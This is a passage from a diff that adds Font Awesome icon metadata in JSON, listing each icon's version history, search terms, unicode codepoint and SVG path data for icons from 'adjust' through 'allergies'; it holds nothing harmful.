8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 400H48V80h480v352zM208 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2zM360 320h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "adjust": { + "changes": [ + "1", + "5.0.0", + "5.10.2", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "contrast", + "dark", + "light", + "saturation" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f042", + "label": "adjust", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635302, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M8 256c0 136.966 111.033 248 248 248s248-111.034 248-248S392.966 8 256 8 8 119.033 8 256zm248 184V72c101.705 0 184 82.311 184 184 0 101.705-82.311 184-184 184z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M8 256c0 136.966 111.033 248 248 248s248-111.034 248-248S392.966 8 256 8 8 119.033 8 256zm248 184V72c101.705 0 184 82.311 184 184 0 101.705-82.311 184-184 184z" + } + }, + "free": [ + "solid" + ] + }, + "adn": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f170", + "label": "App.net", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860962, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 167.5l64.9 98.8H183.1l64.9-98.8zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-99.8 82.7L248 115.5 99.8 338.7h30.4l33.6-51.7h168.6l33.6 51.7h30.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 167.5l64.9 98.8H183.1l64.9-98.8zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-99.8 82.7L248 115.5 99.8 338.7h30.4l33.6-51.7h168.6l33.6 51.7h30.2z" + } + }, + "free": [ + "brands" + ] + }, + "adversal": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f36a", + "label": "Adversal", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860963, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M482.1 32H28.7C5.8 32 0 37.9 0 60.9v390.2C0 474.4 5.8 480 28.7 480h453.4c24.4 0 29.9-5.2 29.9-29.7V62.2c0-24.6-5.4-30.2-29.9-30.2zM178.4 220.3c-27.5-20.2-72.1-8.7-84.2 23.4-4.3 11.1-9.3 9.5-17.5 8.3-9.7-1.5-17.2-3.2-22.5-5.5-28.8-11.4 8.6-55.3 24.9-64.3 41.1-21.4 83.4-22.2 125.3-4.8 40.9 16.8 34.5 59.2 34.5 128.5 2.7 25.8-4.3 58.3 9.3 88.8 1.9 4.4.4 7.9-2.7 10.7-8.4 6.7-39.3 2.2-46.6-7.4-1.9-2.2-1.8-3.6-3.9-6.2-3.6-3.9-7.3-2.2-11.9 1-57.4 36.4-140.3 21.4-147-43.3-3.1-29.3 12.4-57.1 39.6-71 38.2-19.5 112.2-11.8 114-30.9 1.1-10.2-1.9-20.1-11.3-27.3zm286.7 222c0 15.1-11.1 9.9-17.8 9.9H52.4c-7.4 0-18.2 4.8-17.8-10.7.4-13.9 10.5-9.1 17.1-9.1 132.3-.4 264.5-.4 396.8 0 6.8 0 16.6-4.4 16.6 9.9zm3.8-340.5v291c0 5.7-.7 13.9-8.1 13.9-12.4-.4-27.5 7.1-36.1-5.6-5.8-8.7-7.8-4-12.4-1.2-53.4 29.7-128.1 7.1-144.4-85.2-6.1-33.4-.7-67.1 15.7-100 11.8-23.9 56.9-76.1 136.1-30.5v-71c0-26.2-.1-26.2 26-26.2 3.1 0 6.6.4 9.7 0 10.1-.8 13.6 4.4 13.6 14.3-.1.2-.1.3-.1.5zm-51.5 232.3c-19.5 47.6-72.9 43.3-90 5.2-15.1-33.3-15.5-68.2.4-101.5 16.3-34.1 59.7-35.7 81.5-4.8 20.6 28.8 14.9 84.6 8.1 101.1zm-294.8 35.3c-7.5-1.3-33-3.3-33.7-27.8-.4-13.9 7.8-23 19.8-25.8 24.4-5.9 49.3-9.9 73.7-14.7 8.9-2 7.4 4.4 7.8 9.5 1.4 33-26.1 59.2-67.6 58.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M482.1 32H28.7C5.8 32 0 37.9 0 60.9v390.2C0 474.4 5.8 480 28.7 480h453.4c24.4 0 29.9-5.2 29.9-29.7V62.2c0-24.6-5.4-30.2-29.9-30.2zM178.4 220.3c-27.5-20.2-72.1-8.7-84.2 23.4-4.3 11.1-9.3 9.5-17.5 8.3-9.7-1.5-17.2-3.2-22.5-5.5-28.8-11.4 8.6-55.3 24.9-64.3 41.1-21.4 83.4-22.2 125.3-4.8 40.9 16.8 34.5 59.2 34.5 128.5 2.7 25.8-4.3 58.3 9.3 88.8 1.9 4.4.4 7.9-2.7 10.7-8.4 6.7-39.3 2.2-46.6-7.4-1.9-2.2-1.8-3.6-3.9-6.2-3.6-3.9-7.3-2.2-11.9 1-57.4 36.4-140.3 21.4-147-43.3-3.1-29.3 12.4-57.1 39.6-71 38.2-19.5 112.2-11.8 114-30.9 1.1-10.2-1.9-20.1-11.3-27.3zm286.7 222c0 15.1-11.1 9.9-17.8 9.9H52.4c-7.4 0-18.2 4.8-17.8-10.7.4-13.9 10.5-9.1 17.1-9.1 132.3-.4 264.5-.4 396.8 0 6.8 0 16.6-4.4 16.6 9.9zm3.8-340.5v291c0 5.7-.7 13.9-8.1 13.9-12.4-.4-27.5 7.1-36.1-5.6-5.8-8.7-7.8-4-12.4-1.2-53.4 29.7-128.1 7.1-144.4-85.2-6.1-33.4-.7-67.1 15.7-100 11.8-23.9 56.9-76.1 136.1-30.5v-71c0-26.2-.1-26.2 26-26.2 3.1 0 6.6.4 9.7 0 10.1-.8 13.6 4.4 13.6 14.3-.1.2-.1.3-.1.5zm-51.5 232.3c-19.5 47.6-72.9 43.3-90 5.2-15.1-33.3-15.5-68.2.4-101.5 16.3-34.1 59.7-35.7 81.5-4.8 20.6 28.8 14.9 84.6 8.1 101.1zm-294.8 35.3c-7.5-1.3-33-3.3-33.7-27.8-.4-13.9 7.8-23 19.8-25.8 24.4-5.9 49.3-9.9 73.7-14.7 8.9-2 7.4 4.4 7.8 9.5 1.4 33-26.1 59.2-67.6 58.8z" + } + }, + "free": [ + "brands" + ] + }, + "affiliatetheme": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f36b", + "label": "affiliatetheme", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860963, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M159.7 237.4C108.4 308.3 43.1 348.2 14 326.6-15.2 304.9 2.8 230 54.2 159.1c51.3-70.9 116.6-110.8 145.7-89.2 29.1 21.6 11.1 96.6-40.2 167.5zm351.2-57.3C437.1 303.5 319 367.8 246.4 323.7c-25-15.2-41.3-41.2-49-73.8-33.6 64.8-92.8 113.8-164.1 133.2 49.8 59.3 124.1 96.9 207 96.9 150 0 271.6-123.1 271.6-274.9.1-8.5-.3-16.8-1-25z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M159.7 237.4C108.4 308.3 43.1 348.2 14 326.6-15.2 304.9 2.8 230 54.2 159.1c51.3-70.9 116.6-110.8 145.7-89.2 29.1 21.6 11.1 96.6-40.2 167.5zm351.2-57.3C437.1 303.5 319 367.8 246.4 323.7c-25-15.2-41.3-41.2-49-73.8-33.6 64.8-92.8 113.8-164.1 133.2 49.8 59.3 124.1 96.9 207 96.9 150 0 271.6-123.1 271.6-274.9.1-8.5-.3-16.8-1-25z" + } + }, + "free": [ + "brands" + ] + }, + "air-freshener": { + "changes": [ + "5.2.0", + "5.15.3" + ], + "ligatures": [], + "search": { + "terms": [ + "car", + "deodorize", + "fresh", + "pine", + "scent" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5d0", + "label": "Air Freshener", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635303, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M224 160H96C43 160 0 203 0 256V480C0 497.625 14.375 512 32 512H288C305.625 512 320 497.625 320 480V256C320 203 277 160 224 160ZM160 416C115.875 416 80 380.125 80 336S115.875 256 160 256S240 291.875 240 336S204.125 416 160 416ZM224 32C224 14.375 209.625 0 192 0H128C110.375 0 96 14.375 96 32V128H224V32ZM381.781 51.578C383 50.969 384 49.359 384 48C384 46.625 383 45.031 381.781 44.422L352 32L339.562 2.219C338.969 1 337.375 0 336 0S333.031 1 332.406 2.219L320 32L290.219 44.422C289 45.031 288 46.625 288 48C288 49.359 289 50.969 290.219 51.578L320 64L332.406 93.781C333.031 95 334.625 96 336 96S338.969 95 339.562 93.781L352 64L381.781 51.578ZM448 64L460.406 93.781C461.031 95 462.625 96 464 96S466.969 95 467.562 93.781L480 64L509.781 51.578C511 50.969 512 49.359 512 48C512 46.625 511 45.031 509.781 44.422L480 32L467.562 2.219C466.969 1 465.375 0 464 0S461.031 1 460.406 2.219L448 32L418.219 44.422C417 45.031 416 46.625 416 48C416 49.359 417 50.969 418.219 51.578L448 64ZM480 224L467.562 194.219C466.969 193 465.375 192 464 192S461.031 193 460.406 194.219L448 224L418.219 236.422C417 237.031 416 238.625 416 240C416 241.359 417 242.969 418.219 243.578L448 256L460.406 285.781C461.031 287 462.625 288 464 288S466.969 287 467.562 285.781L480 256L509.781 243.578C511 242.969 512 241.359 512 240C512 238.625 511 237.031 509.781 236.422L480 224ZM445.781 147.578C447 146.969 448 145.359 448 144C448 142.625 447 141.031 445.781 140.422L416 128L403.562 98.219C402.969 97 401.375 96 400 96S397.031 97 396.406 98.219L384 128L354.219 140.422C353 141.031 352 142.625 352 144C352 145.359 353 146.969 354.219 147.578L384 160L396.406 189.781C397.031 191 398.625 192 400 192S402.969 191 403.562 189.781L416 160L445.781 147.578Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M224 160H96C43 160 0 203 0 256V480C0 497.625 14.375 512 32 512H288C305.625 512 320 497.625 320 480V256C320 203 277 160 224 160ZM160 416C115.875 416 80 380.125 80 336S115.875 256 160 256S240 291.875 240 336S204.125 416 160 416ZM224 32C224 14.375 209.625 0 192 0H128C110.375 0 96 14.375 96 32V128H224V32ZM381.781 51.578C383 50.969 384 49.359 384 48C384 46.625 383 45.031 381.781 44.422L352 32L339.562 2.219C338.969 1 337.375 0 336 0S333.031 1 332.406 2.219L320 32L290.219 44.422C289 45.031 288 46.625 288 48C288 49.359 289 50.969 290.219 51.578L320 64L332.406 93.781C333.031 95 334.625 96 336 96S338.969 95 339.562 93.781L352 64L381.781 51.578ZM448 64L460.406 93.781C461.031 95 462.625 96 464 96S466.969 95 467.562 93.781L480 64L509.781 51.578C511 50.969 512 49.359 512 48C512 46.625 511 45.031 509.781 44.422L480 32L467.562 2.219C466.969 1 465.375 0 464 0S461.031 1 460.406 2.219L448 32L418.219 44.422C417 45.031 416 46.625 416 48C416 49.359 417 50.969 418.219 51.578L448 64ZM480 224L467.562 194.219C466.969 193 465.375 192 464 192S461.031 193 460.406 194.219L448 224L418.219 236.422C417 237.031 416 238.625 416 240C416 241.359 417 242.969 418.219 243.578L448 256L460.406 285.781C461.031 287 462.625 288 464 288S466.969 287 467.562 285.781L480 256L509.781 243.578C511 242.969 512 241.359 512 240C512 238.625 511 237.031 509.781 236.422L480 224ZM445.781 147.578C447 146.969 448 145.359 448 144C448 142.625 447 141.031 445.781 140.422L416 128L403.562 98.219C402.969 97 401.375 96 400 96S397.031 97 396.406 98.219L384 128L354.219 140.422C353 141.031 352 142.625 352 144C352 145.359 353 146.969 354.219 147.578L384 160L396.406 189.781C397.031 191 398.625 192 400 192S402.969 191 403.562 189.781L416 160L445.781 147.578Z" + } + }, + "free": [ + "solid" + ] + }, + "airbnb": { + "changes": [ + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f834", + "label": "Airbnb", + "svg": { + "brands": { + "last_modified": 1558987775890, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 373.12c-25.24-31.67-40.08-59.43-45-83.18-22.55-88 112.61-88 90.06 0-5.45 24.25-20.29 52-45 83.18zm138.15 73.23c-42.06 18.31-83.67-10.88-119.3-50.47 103.9-130.07 46.11-200-18.85-200-54.92 0-85.16 46.51-73.28 100.5 6.93 29.19 25.23 62.39 54.43 99.5-32.53 36.05-60.55 52.69-85.15 54.92-50 7.43-89.11-41.06-71.3-91.09 15.1-39.16 111.72-231.18 115.87-241.56 15.75-30.07 25.56-57.4 59.38-57.4 32.34 0 43.4 25.94 60.37 59.87 36 70.62 89.35 177.48 114.84 239.09 13.17 33.07-1.37 71.29-37.01 86.64zm47-136.12C280.27 35.93 273.13 32 224 32c-45.52 0-64.87 31.67-84.66 72.79C33.18 317.1 22.89 347.19 22 349.81-3.22 419.14 48.74 480 111.63 480c21.71 0 60.61-6.06 112.37-62.4 58.68 63.78 101.26 62.4 112.37 62.4 62.89.05 114.85-60.86 89.61-130.19.02-3.89-16.82-38.9-16.82-39.58z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M224 373.12c-25.24-31.67-40.08-59.43-45-83.18-22.55-88 112.61-88 90.06 0-5.45 24.25-20.29 52-45 83.18zm138.15 73.23c-42.06 18.31-83.67-10.88-119.3-50.47 103.9-130.07 46.11-200-18.85-200-54.92 0-85.16 46.51-73.28 100.5 6.93 29.19 25.23 62.39 54.43 99.5-32.53 36.05-60.55 52.69-85.15 54.92-50 7.43-89.11-41.06-71.3-91.09 15.1-39.16 111.72-231.18 115.87-241.56 15.75-30.07 25.56-57.4 59.38-57.4 32.34 0 43.4 25.94 60.37 59.87 36 70.62 89.35 177.48 114.84 239.09 13.17 33.07-1.37 71.29-37.01 86.64zm47-136.12C280.27 35.93 273.13 32 224 32c-45.52 0-64.87 31.67-84.66 72.79C33.18 317.1 22.89 347.19 22 349.81-3.22 419.14 48.74 480 111.63 480c21.71 0 60.61-6.06 112.37-62.4 58.68 63.78 101.26 62.4 112.37 62.4 62.89.05 114.85-60.86 89.61-130.19.02-3.89-16.82-38.9-16.82-39.58z" + } + }, + "free": [ + "brands" + ] + }, + "algolia": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f36c", + "label": "Algolia", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860963, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M229.3 182.6c-49.3 0-89.2 39.9-89.2 89.2 0 49.3 39.9 89.2 89.2 89.2s89.2-39.9 89.2-89.2c0-49.3-40-89.2-89.2-89.2zm62.7 56.6l-58.9 30.6c-1.8.9-3.8-.4-3.8-2.3V201c0-1.5 1.3-2.7 2.7-2.6 26.2 1 48.9 15.7 61.1 37.1.7 1.3.2 3-1.1 3.7zM389.1 32H58.9C26.4 32 0 58.4 0 90.9V421c0 32.6 26.4 59 58.9 59H389c32.6 0 58.9-26.4 58.9-58.9V90.9C448 58.4 421.6 32 389.1 32zm-202.6 84.7c0-10.8 8.7-19.5 19.5-19.5h45.3c10.8 0 19.5 8.7 19.5 19.5v15.4c0 1.8-1.7 3-3.3 2.5-12.3-3.4-25.1-5.1-38.1-5.1-13.5 0-26.7 1.8-39.4 5.5-1.7.5-3.4-.8-3.4-2.5v-15.8zm-84.4 37l9.2-9.2c7.6-7.6 19.9-7.6 27.5 0l7.7 7.7c1.1 1.1 1 3-.3 4-6.2 4.5-12.1 9.4-17.6 14.9-5.4 5.4-10.4 11.3-14.8 17.4-1 1.3-2.9 1.5-4 .3l-7.7-7.7c-7.6-7.5-7.6-19.8 0-27.4zm127.2 244.8c-70 0-126.6-56.7-126.6-126.6s56.7-126.6 126.6-126.6c70 0 126.6 56.6 126.6 126.6 0 69.8-56.7 126.6-126.6 126.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M229.3 182.6c-49.3 0-89.2 39.9-89.2 89.2 0 49.3 39.9 89.2 89.2 89.2s89.2-39.9 89.2-89.2c0-49.3-40-89.2-89.2-89.2zm62.7 56.6l-58.9 30.6c-1.8.9-3.8-.4-3.8-2.3V201c0-1.5 1.3-2.7 2.7-2.6 26.2 1 48.9 15.7 61.1 37.1.7 1.3.2 3-1.1 3.7zM389.1 32H58.9C26.4 32 0 58.4 0 90.9V421c0 32.6 26.4 59 58.9 59H389c32.6 0 58.9-26.4 58.9-58.9V90.9C448 58.4 421.6 32 389.1 32zm-202.6 84.7c0-10.8 8.7-19.5 19.5-19.5h45.3c10.8 0 19.5 8.7 19.5 19.5v15.4c0 1.8-1.7 3-3.3 2.5-12.3-3.4-25.1-5.1-38.1-5.1-13.5 0-26.7 1.8-39.4 5.5-1.7.5-3.4-.8-3.4-2.5v-15.8zm-84.4 37l9.2-9.2c7.6-7.6 19.9-7.6 27.5 0l7.7 7.7c1.1 1.1 1 3-.3 4-6.2 4.5-12.1 9.4-17.6 14.9-5.4 5.4-10.4 11.3-14.8 17.4-1 1.3-2.9 1.5-4 .3l-7.7-7.7c-7.6-7.5-7.6-19.8 0-27.4zm127.2 244.8c-70 0-126.6-56.7-126.6-126.6s56.7-126.6 126.6-126.6c70 0 126.6 56.6 126.6 126.6 0 69.8-56.7 126.6-126.6 126.6z" + } + }, + "free": [ + "brands" + ] + }, + "align-center": { + "changes": [ + "1", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "format", + "middle", + "paragraph", + "text" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f037", + "label": "align-center", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635305, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M432 160H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 256H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM108.1 96h231.81A12.09 12.09 0 0 0 352 83.9V44.09A12.09 12.09 0 0 0 339.91 32H108.1A12.09 12.09 0 0 0 96 44.09V83.9A12.1 12.1 0 0 0 108.1 96zm231.81 256A12.09 12.09 0 0 0 352 339.9v-39.81A12.09 12.09 0 0 0 339.91 288H108.1A12.09 12.09 0 0 0 96 300.09v39.81a12.1 12.1 0 0 0 12.1 12.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M432 160H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 256H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM108.1 96h231.81A12.09 12.09 0 0 0 352 83.9V44.09A12.09 12.09 0 0 0 339.91 32H108.1A12.09 12.09 0 0 0 96 44.09V83.9A12.1 12.1 0 0 0 108.1 96zm231.81 256A12.09 12.09 0 0 0 352 339.9v-39.81A12.09 12.09 0 0 0 339.91 288H108.1A12.09 12.09 0 0 0 96 300.09v39.81a12.1 12.1 0 0 0 12.1 12.1z" + } + }, + "free": [ + "solid" + ] + }, + "align-justify": { + "changes": [ + "1", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "format", + "paragraph", + "text" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f039", + "label": "align-justify", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635305, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "align-left": { + "changes": [ + "1", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "format", + "paragraph", + "text" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f036", + "label": "align-left", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635305, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M12.83 352h262.34A12.82 12.82 0 0 0 288 339.17v-38.34A12.82 12.82 0 0 0 275.17 288H12.83A12.82 12.82 0 0 0 0 300.83v38.34A12.82 12.82 0 0 0 12.83 352zm0-256h262.34A12.82 12.82 0 0 0 288 83.17V44.83A12.82 12.82 0 0 0 275.17 32H12.83A12.82 12.82 0 0 0 0 44.83v38.34A12.82 12.82 0 0 0 12.83 96zM432 160H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 256H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M12.83 352h262.34A12.82 12.82 0 0 0 288 339.17v-38.34A12.82 12.82 0 0 0 275.17 288H12.83A12.82 12.82 0 0 0 0 300.83v38.34A12.82 12.82 0 0 0 12.83 352zm0-256h262.34A12.82 12.82 0 0 0 288 83.17V44.83A12.82 12.82 0 0 0 275.17 32H12.83A12.82 12.82 0 0 0 0 44.83v38.34A12.82 12.82 0 0 0 12.83 96zM432 160H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 256H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "align-right": { + "changes": [ + "1", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "format", + "paragraph", + "text" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f038", + "label": "align-right", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635306, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M16 224h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm416 192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-384H172.83A12.82 12.82 0 0 0 160 44.83v38.34A12.82 12.82 0 0 0 172.83 96h262.34A12.82 12.82 0 0 0 448 83.17V44.83A12.82 12.82 0 0 0 435.17 32zm0 256H172.83A12.82 12.82 0 0 0 160 300.83v38.34A12.82 12.82 0 0 0 172.83 352h262.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M16 224h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm416 192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-384H172.83A12.82 12.82 0 0 0 160 44.83v38.34A12.82 12.82 0 0 0 172.83 96h262.34A12.82 12.82 0 0 0 448 83.17V44.83A12.82 12.82 0 0 0 435.17 32zm0 256H172.83A12.82 12.82 0 0 0 160 300.83v38.34A12.82 12.82 0 0 0 172.83 352h262.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288z" + } + }, + "free": [ + "solid" + ] + }, + "alipay": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f642", + "label": "Alipay", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860963, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M377.74 32H70.26C31.41 32 0 63.41 0 102.26v307.48C0 448.59 31.41 480 70.26 480h307.48c38.52 0 69.76-31.08 70.26-69.6-45.96-25.62-110.59-60.34-171.6-88.44-32.07 43.97-84.14 81-148.62 81-70.59 0-93.73-45.3-97.04-76.37-3.97-39.01 14.88-81.5 99.52-81.5 35.38 0 79.35 10.25 127.13 24.96 16.53-30.09 26.45-60.34 26.45-60.34h-178.2v-16.7h92.08v-31.24H88.28v-19.01h109.44V92.34h50.92v50.42h109.44v19.01H248.63v31.24h88.77s-15.21 46.62-38.35 90.92c48.93 16.7 100.01 36.04 148.62 52.74V102.26C447.83 63.57 416.43 32 377.74 32zM47.28 322.95c.99 20.17 10.25 53.73 69.93 53.73 52.07 0 92.58-39.68 117.87-72.9-44.63-18.68-84.48-31.41-109.44-31.41-67.45 0-79.35 33.06-78.36 50.58z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M377.74 32H70.26C31.41 32 0 63.41 0 102.26v307.48C0 448.59 31.41 480 70.26 480h307.48c38.52 0 69.76-31.08 70.26-69.6-45.96-25.62-110.59-60.34-171.6-88.44-32.07 43.97-84.14 81-148.62 81-70.59 0-93.73-45.3-97.04-76.37-3.97-39.01 14.88-81.5 99.52-81.5 35.38 0 79.35 10.25 127.13 24.96 16.53-30.09 26.45-60.34 26.45-60.34h-178.2v-16.7h92.08v-31.24H88.28v-19.01h109.44V92.34h50.92v50.42h109.44v19.01H248.63v31.24h88.77s-15.21 46.62-38.35 90.92c48.93 16.7 100.01 36.04 148.62 52.74V102.26C447.83 63.57 416.43 32 377.74 32zM47.28 322.95c.99 20.17 10.25 53.73 69.93 53.73 52.07 0 92.58-39.68 117.87-72.9-44.63-18.68-84.48-31.41-109.44-31.41-67.45 0-79.35 33.06-78.36 50.58z" + } + }, + "free": [ + "brands" + ] + }, + "allergies": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "allergy", + "freckles", + "hand", + "hives", + "pox", + "skin", + "spots" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f461", + "label": "Allergies", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635306, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M416 112c-17.6 0-32 